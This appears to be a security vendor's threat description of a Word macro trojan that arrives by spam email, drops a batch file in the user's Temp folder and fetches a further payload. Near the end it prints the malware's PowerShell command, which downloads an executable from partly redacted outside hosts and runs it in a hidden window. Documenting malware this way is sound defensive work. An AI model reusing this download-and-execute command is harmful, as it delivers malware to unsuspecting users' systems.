Trojan.W97M.POWLOAD.NSFGAIBE

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• %User Temp%\golfnuts20.bat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

It adds the following processes:

• %User Temp%\golfnuts20.bat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}gitalgroup.com/sup.er
• https://www.{BLOCKED}go.com/sup.er

It saves the files it downloads using the following names:

• %User Temp%\golfnuts.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• The Microsoft Word file contains the following fake details luring users to enable macro content:
  
• This Trojan uses the following Powershell commands to download and execute a malicious file:
  
  powershell "'powershell ""function onky13([string] $activeaol){(new-object system.net.webclient).downloadfile($activeaol,''%User Temp%\golfnuts.exe'');start-process ''%User Temp%\golfnuts.exe'';}try{onky13(''http://{BLOCKED}gitalgroup.com/sup.er'')}catch{onky13(''https://www.{BLOCKED}go.com/sup.er'')}'"" | out-file -encoding ascii -filepath %User Temp%\golfnuts20.bat; start-process '%User Temp%\golfnuts20.bat' -windowstyle hidden"